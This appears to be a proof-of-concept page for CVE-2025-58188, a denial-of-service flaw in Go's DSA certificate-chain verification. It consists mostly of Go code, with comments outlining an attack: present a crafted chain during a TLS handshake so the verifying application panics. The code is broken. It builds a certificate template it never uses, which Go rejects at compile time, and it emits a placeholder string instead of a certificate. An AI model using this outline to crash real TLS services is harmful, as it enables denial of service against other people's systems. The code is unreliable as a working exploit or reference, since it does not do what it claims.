CVE-2025-58188 Go语言DSA证书链验证拒绝服务漏洞

package main import ( "crypto/dsa" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "math/big" "time" ) func generateDSACertificate() ([]byte, error) { // Generate DSA parameters var params dsa.Parameters if err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160); err != nil { return nil, err } // Generate DSA key pair var privateKey dsa.PrivateKey privateKey.Parameters = params dsa.GenerateKey(&privateKey, rand.Reader) // Create certificate template with DSA public key template := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{"Test"}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, } // Embed DSA public key in certificate (this triggers the vulnerability during chain validation) // Note: x509.CreateCertificate may not directly use Equal method // The vulnerability is triggered during Verify() when comparing public keys return pem.EncodeToMemory(&pem.Block{ Type: "CERTIFICATE", Bytes: []byte("malformed_dsa_cert_data"), }), nil } func main() { // This PoC demonstrates the vulnerability concept // In real attack scenario, attacker would: // 1. Create a certificate chain with DSA public key // 2. Serve it during TLS handshake or present it to certificate verification logic // 3. Target application will panic when trying to verify the certificate chain cert, err := generateDSACertificate() if err != nil { panic(err) } _ = cert // Use this certificate in TLS connection to trigger panic }